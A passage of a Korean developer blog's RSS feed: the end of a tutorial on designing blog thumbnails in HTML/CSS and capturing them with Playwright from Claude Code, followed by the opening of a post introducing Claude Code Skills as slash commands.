&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;html&quot;&gt;&lt;pre class=&quot;language-html&quot;&gt;&lt;code class=&quot;language-html&quot;&gt;&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;&amp;lt;&lt;/span&gt;div&lt;/span&gt; &lt;span class=&quot;token attr-name&quot;&gt;class&lt;/span&gt;&lt;span class=&quot;token attr-value&quot;&gt;&lt;span class=&quot;token punctuation attr-equals&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;&quot;&lt;/span&gt;orb orb-1&lt;span class=&quot;token punctuation&quot;&gt;&quot;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;&amp;lt;/&lt;/span&gt;div&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;&amp;lt;&lt;/span&gt;div&lt;/span&gt; &lt;span class=&quot;token attr-name&quot;&gt;class&lt;/span&gt;&lt;span class=&quot;token attr-value&quot;&gt;&lt;span class=&quot;token punctuation attr-equals&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;&quot;&lt;/span&gt;orb orb-2&lt;span class=&quot;token punctuation&quot;&gt;&quot;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;&amp;lt;/&lt;/span&gt;div&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;&lt;code class=&quot;language-text&quot;&gt;blur&lt;/code&gt; 처리된 큰 원이 배경에 깔리면서 자연스러운 색감 변화를 만듭니다. 색상을 바꾸면 포스팅 주제별로 분위기를 다르게 줄 수 있습니다.&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;주제&lt;/th&gt;
&lt;th&gt;오브 색상&lt;/th&gt;
&lt;th&gt;느낌&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;AI / 기술&lt;/td&gt;
&lt;td&gt;&lt;code class=&quot;language-text&quot;&gt;#0ea5e9&lt;/code&gt; + &lt;code class=&quot;language-text&quot;&gt;#8b5cf6&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;차분한 블루&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;경고 / 폐지&lt;/td&gt;
&lt;td&gt;&lt;code class=&quot;language-text&quot;&gt;#f97316&lt;/code&gt; + &lt;code class=&quot;language-text&quot;&gt;#ef4444&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;긴장감 있는 오렌지&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;YouTube&lt;/td&gt;
&lt;td&gt;&lt;code class=&quot;language-text&quot;&gt;#ef4444&lt;/code&gt; + &lt;code class=&quot;language-text&quot;&gt;#8b5cf6&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;레드 + 퍼플&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Claude Code&lt;/td&gt;
&lt;td&gt;&lt;code class=&quot;language-text&quot;&gt;#d4a574&lt;/code&gt; + &lt;code class=&quot;language-text&quot;&gt;#8b5cf6&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;브라운 + 퍼플&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h3&gt;배지(Badge)&lt;/h3&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;css&quot;&gt;&lt;pre class=&quot;language-css&quot;&gt;&lt;code class=&quot;language-css&quot;&gt;&lt;span class=&quot;token selector&quot;&gt;.badge&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
  &lt;span class=&quot;token property&quot;&gt;display&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; inline-block&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
  &lt;span class=&quot;token property&quot;&gt;background&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;rgba&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;14&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; 165&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; 233&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; 0.15&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
  &lt;span class=&quot;token property&quot;&gt;border&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; 1px solid &lt;span class=&quot;token function&quot;&gt;rgba&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;14&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; 165&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; 233&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; 0.3&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
  &lt;span class=&quot;token property&quot;&gt;color&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; #38bdf8&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
  &lt;span class=&quot;token property&quot;&gt;font-size&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; 14px&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
  &lt;span class=&quot;token property&quot;&gt;font-weight&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; 600&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
  &lt;span class=&quot;token property&quot;&gt;padding&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; 6px 16px&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
  &lt;span class=&quot;token property&quot;&gt;border-radius&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; 20px&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
  &lt;span class=&quot;token property&quot;&gt;letter-spacing&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; 1px&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
  &lt;span class=&quot;token property&quot;&gt;text-transform&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; uppercase&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;html&quot;&gt;&lt;pre class=&quot;language-html&quot;&gt;&lt;code class=&quot;language-html&quot;&gt;&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;&amp;lt;&lt;/span&gt;div&lt;/span&gt; &lt;span class=&quot;token attr-name&quot;&gt;class&lt;/span&gt;&lt;span class=&quot;token attr-value&quot;&gt;&lt;span class=&quot;token punctuation attr-equals&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;&quot;&lt;/span&gt;badge&lt;span class=&quot;token punctuation&quot;&gt;&quot;&lt;/span&gt;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt;SEO Guide&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token tag&quot;&gt;&lt;span class=&quot;token punctuation&quot;&gt;&amp;lt;/&lt;/span&gt;div&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;상단에 카테고리 느낌의 라벨을 넣으면 한눈에 주제가 파악됩니다.&lt;/p&gt;
&lt;h3&gt;그라데이션 텍스트&lt;/h3&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;css&quot;&gt;&lt;pre class=&quot;language-css&quot;&gt;&lt;code class=&quot;language-css&quot;&gt;&lt;span class=&quot;token selector&quot;&gt;h1 span&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
  &lt;span class=&quot;token property&quot;&gt;background&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;linear-gradient&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;90deg&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; #0ea5e9&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; #8b5cf6&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
  &lt;span class=&quot;token property&quot;&gt;-webkit-background-clip&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; text&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
  &lt;span class=&quot;token property&quot;&gt;-webkit-text-fill-color&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt; transparent&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;제목의 핵심 단어에만 적용하면 강조 효과가 확실합니다.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;3단계: Playwright로 PNG 캡처&lt;/h2&gt;
&lt;p&gt;HTML 파일을 브라우저에서 열어 확인한 후, Playwright로 캡처합니다.&lt;/p&gt;
&lt;h3&gt;Playwright MCP 사용 (Claude Code 환경)&lt;/h3&gt;
&lt;p&gt;Claude Code에서 Playwright MCP를 사용하면 대화 중에 바로 캡처할 수 있습니다.&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;1. playwright_navigate — HTML 파일 열기 (뷰포트 크기 지정)
2. playwright_screenshot — PNG로 저장&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;&lt;strong&gt;썸네일 (1200x630)&lt;/strong&gt; 캡처:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;navigate: file:///경로/thumbnail.html (width: 1200, height: 630)
screenshot: savePng → thumbnail.png&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;&lt;strong&gt;대표이미지 (1080x1080)&lt;/strong&gt; 캡처:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;navigate: file:///경로/cover.html (width: 1080, height: 1080)
screenshot: savePng → cover.png&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;h3&gt;Playwright CLI 사용 (수동)&lt;/h3&gt;
&lt;p&gt;Playwright가 설치되어 있다면 스크립트로도 캡처할 수 있습니다.&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;javascript&quot;&gt;&lt;pre class=&quot;language-javascript&quot;&gt;&lt;code class=&quot;language-javascript&quot;&gt;&lt;span class=&quot;token comment&quot;&gt;// capture.js&lt;/span&gt;
&lt;span class=&quot;token keyword&quot;&gt;const&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; chromium &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;require&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;playwright&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;

&lt;span class=&quot;token punctuation&quot;&gt;;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token keyword&quot;&gt;async&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;token operator&quot;&gt;=&gt;&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
  &lt;span class=&quot;token keyword&quot;&gt;const&lt;/span&gt; browser &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;await&lt;/span&gt; chromium&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;launch&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
  &lt;span class=&quot;token keyword&quot;&gt;const&lt;/span&gt; page &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token keyword&quot;&gt;await&lt;/span&gt; browser&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;newPage&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt;
    &lt;span class=&quot;token literal-property property&quot;&gt;viewport&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;token literal-property property&quot;&gt;width&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;1200&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;token literal-property property&quot;&gt;height&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;630&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
  &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;

  &lt;span class=&quot;token keyword&quot;&gt;await&lt;/span&gt; page&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;goto&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&quot;file:///경로/thumbnail.html&quot;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
  &lt;span class=&quot;token keyword&quot;&gt;await&lt;/span&gt; page&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;screenshot&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;{&lt;/span&gt; &lt;span class=&quot;token literal-property property&quot;&gt;path&lt;/span&gt;&lt;span class=&quot;token operator&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;token string&quot;&gt;&quot;thumbnail.png&quot;&lt;/span&gt; &lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;

  &lt;span class=&quot;token keyword&quot;&gt;await&lt;/span&gt; browser&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token function&quot;&gt;close&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;bash&quot;&gt;&lt;pre class=&quot;language-bash&quot;&gt;&lt;code class=&quot;language-bash&quot;&gt;&lt;span class=&quot;token function&quot;&gt;node&lt;/span&gt; capture.js&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;h3&gt;캡처 시 주의할 점&lt;/h3&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;문제&lt;/th&gt;
&lt;th&gt;원인&lt;/th&gt;
&lt;th&gt;해결&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;이미지가 2:1로 찍힘&lt;/td&gt;
&lt;td&gt;뷰포트와 body 크기 불일치&lt;/td&gt;
&lt;td&gt;&lt;code class=&quot;language-text&quot;&gt;html&lt;/code&gt;에도 &lt;code class=&quot;language-text&quot;&gt;width&lt;/code&gt;, &lt;code class=&quot;language-text&quot;&gt;height&lt;/code&gt;, &lt;code class=&quot;language-text&quot;&gt;overflow: hidden&lt;/code&gt; 추가&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;하단에 여백 발생&lt;/td&gt;
&lt;td&gt;브라우저가 html에 추가 높이 부여&lt;/td&gt;
&lt;td&gt;&lt;code class=&quot;language-text&quot;&gt;html { overflow: hidden }&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;한글 깨짐&lt;/td&gt;
&lt;td&gt;폰트 미지정&lt;/td&gt;
&lt;td&gt;&lt;code class=&quot;language-text&quot;&gt;font-family&lt;/code&gt;에 &lt;code class=&quot;language-text&quot;&gt;&apos;Malgun Gothic&apos;&lt;/code&gt; 추가&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;그라데이션 텍스트 안 보임&lt;/td&gt;
&lt;td&gt;Firefox에서 미지원&lt;/td&gt;
&lt;td&gt;Chromium 사용 (Playwright 기본값)&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;hr&gt;
&lt;h2&gt;실전 예시 — 이 블로그의 이미지 시스템&lt;/h2&gt;
&lt;p&gt;이 블로그는 모든 포스팅에 2종류의 이미지를 만듭니다.&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;유형&lt;/th&gt;
&lt;th&gt;비율&lt;/th&gt;
&lt;th&gt;크기&lt;/th&gt;
&lt;th&gt;용도&lt;/th&gt;
&lt;th&gt;파일명&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Thumbnail&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;~2:1&lt;/td&gt;
&lt;td&gt;1200x630&lt;/td&gt;
&lt;td&gt;OG 이미지, 유튜브 썸네일&lt;/td&gt;
&lt;td&gt;&lt;code class=&quot;language-text&quot;&gt;*-thumbnail.png&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Cover&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;1:1&lt;/td&gt;
&lt;td&gt;1080x1080&lt;/td&gt;
&lt;td&gt;티스토리 대표이미지, SNS&lt;/td&gt;
&lt;td&gt;&lt;code class=&quot;language-text&quot;&gt;*-cover.png&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h3&gt;디자인 일관성 유지 패턴&lt;/h3&gt;
&lt;p&gt;모든 이미지에 공통으로 적용하는 요소:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;배경&lt;/strong&gt; — 다크 그라데이션 (&lt;code class=&quot;language-text&quot;&gt;#0f172a&lt;/code&gt; → &lt;code class=&quot;language-text&quot;&gt;#1e293b&lt;/code&gt;)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;그리드&lt;/strong&gt; — 반투명 격자 패턴&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;글로우 오브&lt;/strong&gt; — 주제별 색상 2~3개&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;배지&lt;/strong&gt; — 상단 카테고리 라벨&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;블로그명&lt;/strong&gt; — 우하단 &lt;code class=&quot;language-text&quot;&gt;AI JAVAPARK&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;텍스트와 오브 색상만 바꾸면 일관된 브랜딩을 유지하면서 포스팅별로 구분이 됩니다.&lt;/p&gt;
&lt;h3&gt;파일 구조&lt;/h3&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;tistory/post/images/
├── post-name-thumbnail.html    ← 썸네일 소스
├── post-name-thumbnail.png     ← 썸네일 이미지
├── post-name-cover.html        ← 대표이미지 소스
└── post-name-cover.png         ← 대표이미지&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;HTML 소스를 함께 보관하면 나중에 수정이 필요할 때 바로 편집하고 다시 캡처할 수 있습니다.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;Claude Code와 함께 쓰면&lt;/h2&gt;
&lt;p&gt;이 방법의 진짜 장점은 &lt;strong&gt;Claude Code와 결합했을 때&lt;/strong&gt; 나타납니다.&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;&quot;이 포스팅에 맞는 대표이미지 만들어줘&quot;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;이 한 마디면 Claude Code가:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;포스팅 내용을 읽고&lt;/li&gt;
&lt;li&gt;주제에 맞는 색상과 레이아웃을 결정하고&lt;/li&gt;
&lt;li&gt;HTML+CSS를 작성하고&lt;/li&gt;
&lt;li&gt;Playwright로 PNG를 캡처합니다&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;실제로 이 블로그의 포스팅 6개에 대한 썸네일 6개 + 대표이미지 6개, 총 12개의 이미지를 모두 이 방식으로 만들었습니다.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;자주 묻는 질문 (FAQ)&lt;/h2&gt;
&lt;h3&gt;Playwright 없이 PNG로 변환할 수 있나요?&lt;/h3&gt;
&lt;p&gt;브라우저에서 HTML을 열고 개발자 도구의 &lt;strong&gt;디바이스 모드&lt;/strong&gt;에서 해상도를 맞춘 뒤 스크린샷을 찍는 방법도 있습니다. 다만 정확한 크기 제어와 자동화를 위해서는 Playwright가 훨씬 편합니다.&lt;/p&gt;
&lt;h3&gt;폰트를 웹폰트로 쓸 수 있나요?&lt;/h3&gt;
&lt;p&gt;네, &lt;code class=&quot;language-text&quot;&gt;&amp;lt;link&gt;&lt;/code&gt; 태그로 Google Fonts를 불러와서 사용할 수 있습니다. 다만 로컬 파일을 열 때 네트워크 요청이 필요하므로, Playwright 캡처 시 &lt;code class=&quot;language-text&quot;&gt;waitUntil: &apos;networkidle&apos;&lt;/code&gt; 옵션을 추가하면 폰트 로딩을 기다립니다.&lt;/p&gt;
&lt;h3&gt;다크 모드 말고 라이트 모드도 가능한가요?&lt;/h3&gt;
&lt;p&gt;물론입니다. &lt;code class=&quot;language-text&quot;&gt;background&lt;/code&gt;를 &lt;code class=&quot;language-text&quot;&gt;#ffffff&lt;/code&gt;로, 텍스트를 &lt;code class=&quot;language-text&quot;&gt;#0f172a&lt;/code&gt;로 바꾸면 됩니다. 오브 색상의 &lt;code class=&quot;language-text&quot;&gt;opacity&lt;/code&gt;를 더 낮추면 라이트 배경에서도 자연스럽습니다.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;마무리&lt;/h2&gt;
&lt;p&gt;정리하면, HTML로 블로그 이미지를 만드는 과정은 이렇습니다.&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;HTML+CSS로 디자인&lt;/strong&gt; — body 크기로 비율 고정, CSS로 시각 요소 구성&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;브라우저에서 확인&lt;/strong&gt; — 파일을 열어 결과 확인&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Playwright로 PNG 캡처&lt;/strong&gt; — 정확한 크기로 이미지 생성&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;포토샵 없이, 코드만으로, 일관된 브랜딩의 이미지를 만들 수 있습니다. 한 번 패턴을 잡아두면 새 포스팅마다 텍스트와 색상만 바꾸면 되니, 이미지 제작에 들이는 시간이 크게 줄어듭니다.&lt;/p&gt;
&lt;p&gt;여러분은 블로그 이미지를 어떻게 만들고 있나요? 댓글로 알려주세요!&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;참고 자료&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://playwright.dev/docs/screenshots&quot;&gt;Playwright 공식 문서 — Screenshots&lt;/a&gt; — 스크린샷 캡처 옵션 상세 가이드&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://cssgradient.io/&quot;&gt;CSS Gradient Generator&lt;/a&gt; — 배경 그라데이션 생성 도구&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://developer.mozilla.org/en-US/docs/Web/CSS/background-clip&quot;&gt;MDN — background-clip: text&lt;/a&gt; — 그라데이션 텍스트 구현 방법&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://fonts.google.com/&quot;&gt;Google Fonts&lt;/a&gt; — 무료 웹폰트&lt;/li&gt;
&lt;/ul&gt;</content:encoded></item><item><title><![CDATA[Claude Code Skill 사용법 — 슬래시 명령어로 반복 업무 자동화]]></title><description><![CDATA[Claude Code Skill 사용법 커버 — 슬래시 명령어로 반복 업무 자동화 안녕하세요, 자바파커입니다. Claude Code…]]></description><link>https://blog.javapark.kr/skill/</link><guid isPermaLink="false">https://blog.javapark.kr/skill/</guid><pubDate>Sat, 28 Mar 2026 10:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;img src=&quot;https://github.com/javapark/blog-images/releases/download/images-v1/claude-code-skill.png&quot; alt=&quot;Claude Code Skill 사용법 커버 — 슬래시 명령어로 반복 업무 자동화&quot;&gt;&lt;/p&gt;
&lt;p&gt;안녕하세요, &lt;strong&gt;자바파커&lt;/strong&gt;입니다.&lt;/p&gt;
&lt;p&gt;Claude Code를 쓰다 보면 매번 같은 지시를 반복하는 순간이 옵니다.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;&quot;블로그 포스팅 써줘. 톤은 친근하게, 마크다운으로, 코드 예시 포함해서, 도입-본문-정리 구조로...&quot;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;이 긴 설명을, 이렇게 한 줄로 바꿀 수 있다면 어떨까요?&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;/blog-post Claude Code Skill 소개&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;이게 바로 &lt;strong&gt;Skill&lt;/strong&gt;입니다. 실제로 이 글도 제가 만든 블로그 포스팅 스킬로 작성했습니다.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;Claude Code Skill이란?&lt;/h2&gt;
&lt;p&gt;&lt;strong&gt;반복되는 작업 지시를 파일로 저장해두고, 슬래시 명령어로 호출하는 기능&lt;/strong&gt;입니다.&lt;/p&gt;
&lt;p&gt;비유하자면, 신입에게 매번 말로 설명하던 업무 절차를 &lt;strong&gt;매뉴얼 문서로 만들어둔 것&lt;/strong&gt;과 같습니다. Claude가 그 매뉴얼을 읽고, 그대로 실행합니다.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;Skill vs Hook vs CLAUDE.md 차이점 비교&lt;/h2&gt;
